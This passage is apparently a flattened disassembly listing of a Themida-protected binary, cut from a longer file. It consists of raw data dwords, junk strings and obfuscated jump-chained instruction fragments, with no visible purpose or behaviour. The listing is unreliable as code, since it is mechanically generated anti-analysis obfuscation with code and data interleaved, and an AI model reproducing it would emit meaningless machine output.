36D84308h dd 6EE5E9h, 243C8900h, 0B951E789h, 51E549D8h, 0E905E1C1h dd 0C53Dh, 0B4B9B151h, 59CC0090h, 11E9D4F6h, 2D000069h dd 19253290h, 4EC8148h, 89000000h, 0FBA2414h, 50592661h dd 34672BB8h, 0A8F8E90Fh, 0E959FFFFh, 55CCh, 8104C483h dd 0BA720AF7h, 75DF6842h, 3C890000h, 4EC8124h, 0E9000000h dd 0FFFFA100h dword_594E98 dd 6AE932FFh, 10000C3h, 0D69DE9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594EA6: ; CODE XREF: Themida_:005A1A02j pop ebx xchg ebp, [esp] pop esp jmp loc_5924B6 ; --------------------------------------------------------------------------- loc_594EB0: ; CODE XREF: Themida_:0059E355j mov edx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_591546 ; --------------------------------------------------------------------------- db 49h, 81h, 0ECh dd 4, 0BE243489h, 38901896h, 0F75EF109h, 0E3C181D1h, 513BDB1Ah dd 0BEE95958h, 68000046h, 11B245AAh, 52240C8Bh, 6EE9E289h dd 810000D0h, 0DB1100F5h, 5DE80143h, 3304C083h, 4312404h dd 24043324h, 5324248Bh, 4BBh, 3CAC0500h, 0D8012C79h, 0FFE5A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_594F25: ; CODE XREF: Themida_:0059EB73j mov esi, 339F5969h jmp loc_59A4FF ; --------------------------------------------------------------------------- db 0C1h dd 0C14E05EEh, 85E904EEh, 29000010h, 0BE951C8h, 4E000004h dd 0FFBFF9E9h, 242C89FFh, 2434FF5Bh, 3CE9505Dh db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594F57: ; CODE XREF: Themida_:0059CB4Fj or edi, 11505075h xor edi, 14CB697Dh xor edi, 96A0F9Ah push ebx push ecx mov ecx, 5EBC0520h and ecx, 20E93C2Ch not ecx jmp loc_5A1227 ; --------------------------------------------------------------------------- loc_594F7D: ; CODE XREF: Themida_:0059FC92j add ebp, eax jmp loc_59A568 ; --------------------------------------------------------------------------- aBZ1XsT db 'º#±Á)ÐZ1ÇXé',7,'â',0 align 4 dd 24048F58h, 0B5DDE95Ch, 0E1890000h, 5891BF57h, 9CE92FFFh dd 66FFFF9Fh, 0E9240C8Bh, 0FFFFE5FAh ; --------------------------------------------------------------------------- loc_594FB4: ; CODE XREF: Themida_:0058FCB3j inc bl xor bl, 17h mov ch, bl pop ebx xor ch, bh pop ebx jmp loc_5983C9 ; --------------------------------------------------------------------------- loc_594FC4: ; CODE XREF: Themida_:0059D263j add cl, 0C9h shl cl, 4 xor cl, 9Eh xor cl, 80h push edx mov dh, cl mov ah, dh pop edx mov ecx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx mov bl, ah mov dl, bl jmp loc_593A22 ; --------------------------------------------------------------------------- loc_594FFE: ; CODE XREF: Themida_:00596407j mov edx, 4F5F529Ah sub eax, edx mov edx, [esp] jmp loc_58FFE1 ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h dd 2C48124h, 66000000h, 56241C8Bh, 0C681E689h, 4, 0C699E9h db 0 ; --------------------------------------------------------------------------- loc_595029: ; CODE XREF: Themida_:0058E57Aj mov ecx, edx pop edx add ecx, 59710694h jmp loc_59B0A8 ; --------------------------------------------------------------------------- db 54h dd 0E9242C8Bh, 0FFFFE086h, 815DEB89h, 4ECh, 24048900h dd 8A2611B8h, 0C1D8F738h, 0C14002E0h, 0E8C102E8h, 1AD70503h dd 0C301DED1h, 16D36858h, 1C890000h, 2B13BB24h, 0D8297223h dd 0E9D8015Bh, 1E48h, 9BD1CEBFh, 5CC18151h, 8164A075h dd 135673E9h, 132AE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_595092: ; CODE XREF: Themida_:0058F4DBj push esi mov esi, 7CA55DEDh sub ebp, esi pop esi and ebp, 49EC77FDh jmp loc_5983BA ; --------------------------------------------------------------------------- dw 0D7F7h dd 1941E950h, 81660000h, 6604C7F6h, 0FCBD6655h, 0EE01667Dh dd 600FE9h, 24048900h, 0B1ABA52h, 0D08949D4h, 25D0F75Ah dd 0ADD40A9h, 113BE56h, 0EE8174BCh, 0FFFFFFFFh, 5301C683h dd 3906C5BBh, 5B17E913h, 0C7810000h, 4, 8904EC83h, 0E953240Ch dd 65ABh, 3468D586h, 89000041h, 0F3B42404h, 68h, 0B806E900h dd 0ED810000h, 3674652Ah, 0BB535Eh, 29000000h, 0E38953EBh dd 4C381h, 0BD550000h, 4, 0E95DEB29h, 65E9h, 8B2434FFh dd 0C483240Ch, 4C48304h, 0E924148Bh, 74F3h, 2DE7C581h dd 0DD014CFAh, 2DE7ED81h, 1C8B4CFAh, 19E95724h, 5E0000A3h dd 0FFBE45E9h, 240481FFh, 4, 40558h, 0AA680000h, 89000022h dd 0EC81243Ch, 4, 0BE243489h, 51BE04B3h, 815EF789h, 0F53077C7h dd 9DE78144h, 8152600Fh, 0FFFFFFC7h, 3BD55FFh, 31122005h dd 242C8BEFh, 4C481h, 0EAE90000h, 0C1FFFFDCh, 20E908EEh dd 83FFFFB6h, 248904ECh, 24048124h, 4, 0EDDE958h, 315B0000h dd 1C33241Ch, 0C162E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5951E2: ; CODE XREF: Themida_:0059BA74j pop esi push eax pop ebx mov eax, [esp] add esp, 4 jmp loc_5A0F22 ; --------------------------------------------------------------------------- a_hx db '_hå"',0 dd 24348900h, 1FA8E9h, 0E7895700h, 4C781h, 6AE90000h, 5D00002Fh dd 61D4C781h, 46E94B02h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_59521B: ; CODE XREF: Themida_:005A2474j xchg ecx, [esp] pop esp push 41ECh mov [esp], ebp push edx push 1CF40E1Fh mov edx, [esp] add esp, 4 xor edx, 571A0C58h push esi mov esi, 65381F7Dh add esi, 0FE33F1Dh jmp loc_5953EB ; --------------------------------------------------------------------------- loc_59524D: ; CODE XREF: Themida_:005A004Bj xor ecx, 93EB9947h mov ebp, ecx jmp loc_595632 ; --------------------------------------------------------------------------- dw 0DD01h dd 242C875Bh, 6624248Bh, 8950E9F7h, 405E0h, 0E8830000h dd 0EEB4E904h, 0C281FFFFh, 0ADC72F9h, 56E9DA01h, 8B0000B5h dd 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 0FDE9515Ch db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59529F: ; CODE XREF: Themida_:0059A64Cj pop esi sub esp, 4 mov [esp], edi mov edi, 38D65855h xor ebp, edi jmp loc_596D3A ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 31241C33h, 1C33241Ch, 0E95E5C24h, 2F44h, 4C4815Dh, 0E9000000h dd 0FFFFB8F7h, 0E32FC181h, 0D9F7254Ch, 0F181D9F7h, 25D7693Ah dd 0A9E9CE01h, 570000A0h, 0EC05E6BFh, 247C0144h, 0E95F5F04h dd 0BC45h, 0ADE95453h db 0CDh, 2 dup(0) byte_595303 db 0ADh ; DATA XREF: Themida_:0058E1C4o dd 8904EC83h, 0E9532434h, 0FFFFD864h ; --------------------------------------------------------------------------- loc_595310: ; CODE XREF: Themida_:00599D7Fj mov ebp, ebx pop ebx add ebp, 0AD93886Ch add eax, 6BB4063Ah add eax, ebp sub eax, 6BB4063Ah pop ebp xchg eax, [esp] mov esp, [esp] push 759Fh mov [esp], ebx jmp loc_5957F2 ; --------------------------------------------------------------------------- db 5Ch, 0FFh, 34h dd 2434FF24h, 81240C8Bh, 4C4h, 8E04E900h, 0EAB90000h, 817FC776h dd 0F76CE6F1h, 59C82916h, 81240C8Bh, 4C4h, 10120500h, 0D00175DDh dd 0DD10122Dh, 4EC8375h, 0BD242C89h, 151747C2h, 0FFD962E9h dd 24348BFFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0E9243C33h dd 0FFFFE7FDh ; --------------------------------------------------------------------------- loc_59539C: ; CODE XREF: Themida_:005A2002j sub ecx, ebp pop ebp jmp loc_59EB03 ; --------------------------------------------------------------------------- dd 4BD55h, 0F5E90000h, 0FF000017h, 0E95F2434h, 0D1DEh dd 4CED8145h, 1C17639h, 0E5055DE8h, 15E6F09h, 984CE9C8h dd 2C8B0000h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h dd 0FFE8895Ch, 1FE92434h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5953EB: ; CODE XREF: Themida_:00595248j sub esi, 7B7F6544h sub esi, 2B1F6067h xor esi, 975B9ED5h and edx, esi jmp loc_59CBC5 ; --------------------------------------------------------------------------- dd 0EB81FB01h, 40AB0079h, 241C335Fh, 33241C31h, 248B241Ch dd 0DDBE924h, 2D5A0000h, 4, 8B240487h, 34892424h, 57E68924h dd 4BFh, 3BA2E900h, 0BF570000h, 67A17329h, 99CFE9h, 0F6C7FE00h dd 68D7h, 3C280000h, 243C8A24h, 0E904C483h, 0A23h aN_uacWsWcmrFN1 db '-_UAc)ØWS»WcŒr¿(FÅn1ß[h-(',0 ; DATA XREF: Themida_:0058E114o align 4 dd 0FFA5D0E9h, 7E6C1FFh, 0A104C681h, 0F201D055h, 0FFD2FEE9h dd 0C68159FFh, 6856A453h, 0D7E9F289h, 5B0000D4h, 1FE42548h dd 112D4870h, 5557518h, 15050EB3h, 3062E9h, 0D8885000h dd 88C78853h, 48B5BF9h, 0E3895324h, 4C381h, 0C3830000h dd 0CC72E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5954CE: ; CODE XREF: Themida_:00596015j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx mov bl, 35h or dh, bl pop ebx push ax jmp loc_592C8D ; --------------------------------------------------------------------------- db 0C1h dd 0D2E903E5h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5954F3: ; CODE XREF: Themida_:0059FC67j not esi sub esi, 46299EDh xor edx, esi pop esi sub ecx, edx pop edx jmp loc_5985CF ; --------------------------------------------------------------------------- dw 0E589h dd 43BE5651h, 685B6238h, 5B623847h, 0C0F2E9h, 93E95800h dd 2D000024h, 43AC6E58h, 886BE9h, 81DE2900h, 1957DCEEh dd 0D1A1E912h, 1C890000h, 8624E924h, 248B0000h, 40BA5224h dd 1000000h, 5A1A89FAh, 9BE95A5Bh, 5B000049h, 3C8BFA01h dd 4C48124h, 68000000h, 89Fh, 61E0E9h, 88E28800h, 52E95AD1h dd 89000042h, 5D54242Ch, 7445B951h, 0F1810B94h, 60B35F8Eh dd 0FF9D27E9h, 2A685DFFh, 89000044h, 95B82404h, 5428C0Ah dd 1C2E1428h, 6F2CE9h, 4C48300h, 9C25E956h, 575EFFFFh dd 205F19BFh, 0E9FE3153h, 0FFFFC6C8h, 7B66F381h, 0BE5605FFh dd 56014C85h, 72D3E9h db 0 ; --------------------------------------------------------------------------- loc_5955C9: ; CODE XREF: Themida_:005A202Aj xchg edx, [esp] pop esp mov edx, [esp] add esp, 4 add al, ch mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx push 0C4Eh mov [esp], ebx jmp loc_5A24EE ; --------------------------------------------------------------------------- db 0FEh dd 81D6F6CEh, 4ECh, 24048900h, 0EC80C9B4h, 0E9C4FE2Fh dd 0FFFF9EA7h, 0CAF5815Dh, 0E91FA879h, 0FFFFF2A4h, 31241433h dd 14332414h, 24248B24h, 2A0168h, 5EBCE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_595632: ; CODE XREF: Themida_:00595255j pop ecx push ebx jmp loc_594B0F ; --------------------------------------------------------------------------- loc_595639: ; CODE XREF: Themida_:0059C15Dj add esp, 4 push 1D0Ch mov [esp], edi mov edi, esp push edx push eax mov eax, 4 mov edx, eax pop eax jmp loc_5A2933 ; --------------------------------------------------------------------------- dd 0FFEF834Fh, 0CDE9E9h, 1EC78100h, 0E9574646h, 7D00h dd 0AC68E089h, 89000049h, 468240Ch, 0E9000000h, 746Ch dd 68243489h, 12F296Bh, 0FFFF1DE9h, 242C89FFh, 0FFE603E9h dd 4C781FFh, 81000000h, 4EFh, 243C8700h, 80DDE95Ch, 0EE830000h dd 24348704h, 0FFAFB0E9h, 242C89FFh, 6F3E9h, 69A36800h dd 4890000h, 0C693E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5956CA: ; CODE XREF: Themida_:00592D16j add ebp, 4 xor ebp, [esp] jmp loc_5968FD ; --------------------------------------------------------------------------- aI4S_ db '\‰4$é$_',0 align 2 word_5956DE dw 34FFh ; DATA XREF: Themida_:0058E0B8o dd 24048B24h, 0FFD08AE9h, 241489FFh, 243A68h, 48F5400h dd 4B85024h, 1000000h, 58042444h, 8124148Bh, 4C4h, 93B85000h dd 56602C50h, 564666BEh, 5EF00144h, 1C1068h, 24148900h dd 0FF9AD2E9h, 24248BFFh, 4F52E9h, 0E9F58900h, 0FFFFA3F7h dd 4245429h, 8324148Bh, 34FF04C4h, 0CC6BE924h, 6858FFFFh dd 7104h, 89241C89h, 0ACF8E9E3h, 0F201FFFFh, 9D8EA81h dd 815E0F1Eh, 0CB594BF2h, 4FF5230h, 0EA815A24h, 97198CB8h dd 5F5AD601h, 4C681h, 34330000h, 24343124h, 5C243433h dd 148BD030h, 4C48324h, 6623B050h, 0E98CB551h, 1A23h ; --------------------------------------------------------------------------- loc_595798: ; CODE XREF: Themida_:0059368Cj push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_58F975 ; --------------------------------------------------------------------------- dd 0C82D58BBh, 74700542h, 0D8295C38h, 0AF5AE9h, 0CB75300h dd 88F98851h, 240C8BCCh, 4C481h, 685B0000h, 4Dh, 81241C89h dd 4ECh, 24048900h, 0D1C9E9h, 4EC8300h, 89243489h, 93D4E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5957F2: ; CODE XREF: Themida_:00595334j mov ebx, 6C334CF2h jmp loc_59A4BC ; --------------------------------------------------------------------------- dd 8DBFE952h, 2D58FFFFh, 485525BEh, 3F35D0F7h, 89FF61B7h dd 540158C2h, 15E90424h, 55000033h, 1581E9h db 0 byte_595821 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E2B4o dd 4EC8324h, 0CF2DE9h, 20FE6800h, 0C890000h, 38476824h dd 525942F6h, 4936FD68h, 0F1E95A15h, 58000028h, 24048B59h dd 0BB83E9h db 0 ; --------------------------------------------------------------------------- loc_595851: ; CODE XREF: Themida_:0059CB80j push 654h mov [esp], ebp jmp loc_5A2E0C ; --------------------------------------------------------------------------- dw 489h dd 75E8B824h, 0C6890BA8h, 0CFE68158h, 5562CF31h, 0FFF2F9E9h dd 241489FFh, 2B8FE9h, 6DC38100h, 8166B130h, 0ABB995F3h dd 19590581h, 0D829313Bh, 3B19592Dh, 8330E931h, 5E5F0000h dd 0E9241433h, 0B4BCh, 0ACE9D5F6h, 8FFFFFEEh, 555C2404h dd 0AC2CA0BDh, 7DC8E913h, 34890000h, 4BE24h, 68E90000h dd 0BA000096h, 1, 0B0E9D129h, 0FF0000A2h, 565F2434h, 0FFBA2DE9h dd 241C89FFh, 0FF94D2E9h, 0BCC281FFh, 819548D2h, 4ECh dd 0EE56E900h, 0C31FFFFh, 240C3324h, 0C331665Ch, 0FFEEC9E9h db 0FFh ; --------------------------------------------------------------------------- loc_595905: ; CODE XREF: Themida_:00591EDEj or eax, 5ABA2206h shl eax, 5 sub eax, 7F4973C6h xor ebp, eax pop eax shr ebp, 4 push eax push edx mov edx, 3ED156D7h mov eax, edx jmp loc_58FD21 ; --------------------------------------------------------------------------- dw 0D366h dd 0E99C243Ch, 3A03h, 65F4BE56h, 0DEF71FCCh, 3473E9h, 64E95C00h dd 810000CCh, 0D35AC6EDh, 3936E93Ah, 815F0000h, 7D581FCFh dd 0F2EF8161h, 0E92A1565h, 87CBh, 24048966h, 0FF89EAE9h dd 242C89FFh, 0ABE56h, 0EC830000h, 240C8904h, 49D2E956h dd 0C7810000h, 48E5B06h, 0EF81CF01h, 48E5B06h, 0DA4EF81h dd 0BA52237Bh, 497744A0h, 0F5E9D729h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59599F: ; CODE XREF: Themida_:005A313Ej sub esp, 4 mov [esp], ebx not dword ptr [esp] pop ebx jmp loc_5A31B8 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0BD242C89h, 5FD7660Ch, 5E29B951h, 5CE938A6h, 89000019h dd 4BA2414h, 1000000h, 0E4E95AD5h, 4FFFFCDh, 2CD000ADh dd 24148BADh, 5104C483h, 0FFEC15E9h, 5BD829FFh, 1973C781h dd 0C70116F9h, 1973EF81h, 16E916F9h, 5AFFFF99h, 8422E951h dd 0CF010000h, 81240C8Bh, 4C4h, 74FF5700h, 8F5F0424h, 1AE92404h db 0D3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_595A1F: ; CODE XREF: Themida_:005916A3j mov edi, esp push ebp push 1557630Fh jmp loc_596B42 ; --------------------------------------------------------------------------- dd 3304E883h, 4312404h, 24043324h, 0BC7BE95Ch, 1C89FFFFh dd 81E38924h, 4C3h, 0B946800h, 3C890000h, 0A13BE924h, 1489FFFFh dd 4EC8124h, 54000000h, 8124048Fh, 42404h, 148B0000h, 4C48324h dd 16C768h, 0A7FCE900h, 0E7890000h, 7C62E9h db 0 byte_595A81 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0058E2C8o dd 0FF2434FFh, 0E9582434h, 0F88h dword_595A90 dd 240C8B66h, 6B1A68h, 243C8900h, 243C8B54h, 4EC81h, 2C890000h ; DATA XREF: Themida_:0058E140o dd 40E95424h db 0AFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_595AAF: ; CODE XREF: Themida_:0058E7A6j add esi, 0A7103902h and ecx, esi jmp loc_595CB6 ; --------------------------------------------------------------------------- loc_595ABC: ; CODE XREF: Themida_:0058F310j pop eax sub eax, 0F492E9DCh and ebp, eax pop eax or ebp, 78DD4AAEh neg ebp not ebp jmp loc_59A62A ; --------------------------------------------------------------------------- dd 0E902C780h, 4643h ; --------------------------------------------------------------------------- loc_595ADC: ; CODE XREF: Themida_:00595E9Cj push eax mov ah, 0E9h mov bh, ah pop eax sub al, bh pop bx push dword ptr [esp] pop edx push eax mov eax, esp jmp loc_593292 ; --------------------------------------------------------------------------- dw 0E7C1h dd 0B240E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_595AFA: ; CODE XREF: Themida_:005907A4j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 pop edx jmp loc_5A001D ; --------------------------------------------------------------------------- aIXSro db '‰ÆX]éào',0 align 4 dd 9D70C4BFh, 0E9FA29D2h, 82B6h, 8B2434FFh, 49E92404h dd 810000AEh, 674C12C6h, 4CF68156h, 9C54A37h, 6EE95EF1h dd 33000062h, 248B242Ch, 24042824h, 8801E99Ch, 0E181FFFFh dd 6AD27BA0h, 1E01E981h, 0CCE97398h, 4E0000CBh, 0FF973CE9h dd 5EF709FFh, 0E733BB53h, 0DF3118B5h, 5B2434FFh, 4946E952h dd 0B1510000h, 59CB30BCh, 22E9D3F6h, 58FFFF9Bh, 0FFA0D7E9h dd 0FFC183FFh, 36A7F181h, 0C8892FCAh, 73E99759h, 29FFFF90h dd 0EE2D5EF0h, 2950394Fh, 4FEE05E8h, 9055039h, 8B7DB20Fh dd 0C483242Ch, 68C33104h, 434Eh, 0E9241C89h, 932Eh, 348BF031h dd 0AE28E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_595BD6: ; CODE XREF: Themida_:0058EDB2j mov ebp, 4 add edx, ebp pop ebp xor edx, [esp] xor [esp], edx jmp loc_5A0EC7 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0E904EC83h, 2975h, 4246C01h, 4244481h, 0F947751h, 4246C81h dd 3EFD2530h, 5E17E95Dh, 0D3F70000h, 5BF7C381h, 0DD29B9D2h dd 0ED815Bh, 5B404107h, 0FFBC1AE9h, 1B951FFh, 89000000h dd 240C8BCFh, 0E904C483h, 25BEh ; --------------------------------------------------------------------------- loc_595C38: ; CODE XREF: Themida_:0059EB0Aj mov esi, 600C41BEh add ebx, esi pop esi sub ebx, ecx jmp loc_590772 ; --------------------------------------------------------------------------- loc_595C47: ; CODE XREF: Themida_:0058E7CFj push ebx jmp loc_590460 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 87000000h, 248B242Ch, 74FF5224h, 0DFE90424h, 53000071h dd 42474FFh, 0FFBA87E9h, 0F6815EFFh, 5EC32879h, 355EF089h dd 1C074DF7h, 54E9C129h, 5BFFFFEEh, 42Dh, 24048700h, 2434895Ch dd 0C681E689h, 4, 78EAE9h, 4C48300h, 5D9E6866h, 241C8966h dd 4EC81h, 0C890000h, 6C17E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_595CB6: ; CODE XREF: Themida_:00595AB7j pop esi neg ecx push ebx mov ebx, 623D55DAh shl ebx, 8 jmp loc_5A05A7 ; --------------------------------------------------------------------------- db 89h dd 4832424h, 815A0424h, 4C2h, 777C6800h, 34890000h, 2BE24h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 0B052177h add edx, edi pop edi add edx, esi push 6D01h mov [esp], esi push eax push ecx push 10606E0h pop ecx neg ecx push eax mov eax, 0F6146B5h add ecx, eax jmp loc_591F9A ; --------------------------------------------------------------------------- db 81h, 0E9h, 35h dd 293B55E9h, 0FDE959CAh, 0C100005Dh, 0D2F708E2h, 33CDE9h dd 0EF814F00h, 0FD77BFBBh, 335FF801h, 4312404h, 24043324h dd 4008E9h, 2E1C000h, 801FC980h, 0E1C03DC9h, 80D9F605h dd 0CF206CF1h, 0E9D7F659h, 0FFFFF6D9h, 47E46858h, 14890000h dd 2474FF24h, 48F5A04h, 24248B24h, 240C8B66h, 1ADB68h dd 24048900h, 4EC81h, 24890000h, 24048124h, 4, 0FFC9F8E9h dd 0C6835EFFh, 0E0F68101h, 0E9B353CDh, 2FAAh, 0C303E952h dd 0F2810000h, 11AD5841h, 91E2E9h db 0 byte_595DC1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058E264o aHJ db '$hÒJ',0 align 2 dw 1C89h dd 0E6895624h, 0FFC46AE9h, 0C5815DFFh, 4, 0FFA8A5E9h, 0BD5558FFh dd 2C4913D0h, 794C581h, 0FBE96F6Dh, 80000099h, 0F728F2C7h dd 0E9F2EF80h, 3CE6h, 0BF243C89h, 2, 4D09EE81h, 76E92C9Bh dd 56000045h, 6BE9E689h, 5BFFFF8Fh, 6EC4E9h, 49896800h dd 24890000h, 24048324h, 0E685A04h, 89000046h, 62BB241Ch dd 0E905FF7Bh, 0FFFFF778h, 0C7814F59h, 0FFFFFFFFh, 17D3C781h dd 0F821201Ah, 8B2434FFh, 0CFE9243Ch, 68FFFFC2h, 441634ACh dd 0C738E95Bh, 0B151FFFFh, 0BF1EE99Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_595E6E: ; CODE XREF: Themida_:0059E8E2j add esp, 4 sub esp, 4 mov [esp], esi not dword ptr [esp] jmp loc_597A6A ; --------------------------------------------------------------------------- db 80h dd 88511EC7h, 1539E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_595E8A: ; CODE XREF: Themida_:005A0009j push ebp mov ebp, esp add ebp, 4 jmp loc_5919FD ; --------------------------------------------------------------------------- loc_595E98: ; CODE XREF: Themida_:0059FDE4j mov [esp], bx jmp loc_595ADC ; --------------------------------------------------------------------------- db 1, 0D8h, 2Dh dd 13290CD3h, 4C02E952h, 0C2810000h, 0FFFFFFFFh, 6384E9h dd 68555900h, 6629h, 0E9241489h, 0FFFF8D44h, 8244481h dd 7676107Fh, 8247429h, 8246C81h, 7676107Fh, 8244481h dd 35DB0E59h, 245C015Eh, 0BBE5604h, 8162115Ah, 0CC082444h dd 133346Ah, 81082474h, 0CC08246Ch, 8B33346Ah, 0C4812434h dd 4, 0C7A1E9h, 81C10100h, 0B36A1C1h, 2434FF6Ah, 47C5E958h dd 50660000h, 0FFEF1FE9h, 4EA81FFh, 2D7555A1h, 71E340A2h dd 0A205D029h, 5A71E340h, 3AB4BA52h, 814A694Bh, 9AEEC6EAh dd 5AD7290Ch, 421AEF81h, 0C7011630h, 421AC781h, 3BE91630h dd 81000006h, 4ECh, 24048900h, 5BFEE9h, 40500h, 0C0830000h dd 24048704h, 0BA525Ch, 1000000h, 0B850C2h, 1000000h, 9DA3E9D0h dd 0F7470000h, 0E78147DFh, 467C5FCAh, 0E9FFC783h, 3E63h dd 815DEA21h, 0DA6D90F2h, 8BD50123h, 5CE92414h, 1000039h dd 0CFD2E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_595FBA: ; CODE XREF: Themida_:005A002Bj push ecx jmp loc_59FDE9 ; --------------------------------------------------------------------------- dd 9800C681h, 0C4E9FFECh, 1000015h, 243C8BFAh, 104C483h dd 0BCBCE9CAh, 0F7450000h, 81D5F7D5h, 8ED50EC5h, 0F685640h dd 5E75A605h, 64E2E681h, 51460EDBh, 557ECFB9h, 81D1F739h dd 0F43976C1h, 0CEE98179h, 8104C80Bh, 263B29E1h, 2B5BE934h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5954CE ; --------------------------------------------------------------------------- word_59601A dw 6664h ; DATA XREF: Themida_:0058E25Co dd 8951028Bh, 4C181E1h, 68000000h, 768Dh, 55243489h, 98298ABDh dd 88ED812Eh, 892E9829h, 0F1295DEEh, 6824348Bh, 3DE0h dd 0A209E9h, 243C8900h, 4EC81h, 14890000h, 4BA24h, 0D7890000h dd 8124148Bh, 4C4h, 0BCBA5200h, 17C564Dh, 0F8015AD0h, 564DBC2Dh dd 2055F7Ch, 33000000h, 4312404h, 0B8A1E924h, 0C980FFFFh dd 1C180F9h, 809BB753h, 0C3E99AEFh db 0B3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59609B: ; CODE XREF: Themida_:0059F08Fj push 50A4h mov [esp], ebp mov ebp, 5EEC340Dh xor ebp, 1CB34AA0h jmp loc_59386F ; --------------------------------------------------------------------------- db 5 dd 4, 0FFF96FE9h, 0CCF781FFh, 1679B6Dh, 0C56EE9F9h, 0E95D0000h dd 0B4A8h ; --------------------------------------------------------------------------- loc_5960D0: ; CODE XREF: Themida_:0059A156j mov ebx, [esp] push ebp jmp loc_5A194C ; --------------------------------------------------------------------------- db 5Eh, 52h, 0FFh dd 5A042474h, 0FF8CDCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5960E5: ; CODE XREF: Themida_:0059C453j sub bl, 7Ch jmp loc_58FEE5 ; --------------------------------------------------------------------------- loc_5960ED: ; CODE XREF: Themida_:0059D9A9j or eax, 75F26021h add eax, 70AF67E4h jmp loc_59D422 ; --------------------------------------------------------------------------- dd 55BD801h, 2, 8B240487h, 52512424h, 0EEC0E8B6h, 5E6C007h dd 0A6F3E9h, 0C4835C00h, 4BB5304h, 1000000h, 0BA525BD8h dd 112721FEh, 0CA81D2F7h, 3911ED4h, 500CEA81h, 0DEE9362Ch db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59613F: ; CODE XREF: Themida_:005928FBj pop esp push edi jmp loc_596C0E ; --------------------------------------------------------------------------- dw 72BBh dd 0C104A20Dh, 0F38703E3h, 0F387D6F7h, 0D04FE9h db 0 ; --------------------------------------------------------------------------- loc_596159: ; CODE XREF: Themida_:0059DA99j mov [esp], edx push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push ebx mov ebx, 18434EDDh mov ebp, 5199B23Bh add ebp, ebx pop ebx push ebx push ecx mov ecx, 12706A48h add ecx, 0FFFFFFFFh jmp loc_599030 ; --------------------------------------------------------------------------- loc_59618F: ; CODE XREF: Themida_:005A0ACEj mov esi, [esp] jmp loc_591ED0 ; --------------------------------------------------------------------------- loc_596197: ; CODE XREF: Themida_:00599067j neg ebp add ebp, 45633F79h jmp loc_5980D4 ; --------------------------------------------------------------------------- dd 2D59C801h, 32284F15h, 4F0F68h, 24148900h, 5473E9h, 242C8B00h dd 0FFCD1BE9h, 4C483FFh, 0C4096F2Dh, 0E9C201B8h, 0CA5Fh dd 24048B54h, 5104C483h, 1D39A0B9h, 64C18169h, 196E2C6h dd 2434FFC8h, 0FF8708E9h db 0FFh ; --------------------------------------------------------------------------- loc_5961ED: ; CODE XREF: Themida_:0059088Bj mov edx, 4 add ebp, edx jmp loc_59D458 ; --------------------------------------------------------------------------- db 0F7h, 0F9h, 68h dd 2044h, 534BE9h, 0DC685B00h, 89000021h, 58542404h, 981E9h dd 56396800h, 3C890000h, 0EE5AE924h, 0B368FFFFh, 8900005Bh dd 8AE9242Ch, 89000086h, 7CE9240Ch, 0BF00007Dh, 0A8F29395h dd 0E95FFE29h, 0FFFF9AC4h dword_596244 dd 240C8B66h, 385DE9h, 24348700h, 0A56CE95Fh, 0D7BB0000h ; DATA XREF: Themida_:0058E1D8o dd 810BDC00h, 0FB1D8CE3h, 95FDE935h, 4890000h, 2B824h dd 0C1810000h, 3B680581h, 2FF7C181h, 0C1015D75h, 2FF7E981h dd 0E9815D75h, 3B680581h, 240C8758h, 0A502E9h, 13B55100h dd 6F8DE9h, 0F5815D00h, 8F0D8251h, 0C901E9h, 0FC33000h dd 8B66C0B6h, 0E9522414h, 38Ah ; --------------------------------------------------------------------------- loc_5962B4: ; CODE XREF: Themida_:005A0DD7j push edx jmp loc_5A08E6 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 65C2E9h, 24248B00h, 0FFF659E9h, 8081E9FFh, 1C89FFFFh dd 555B5424h, 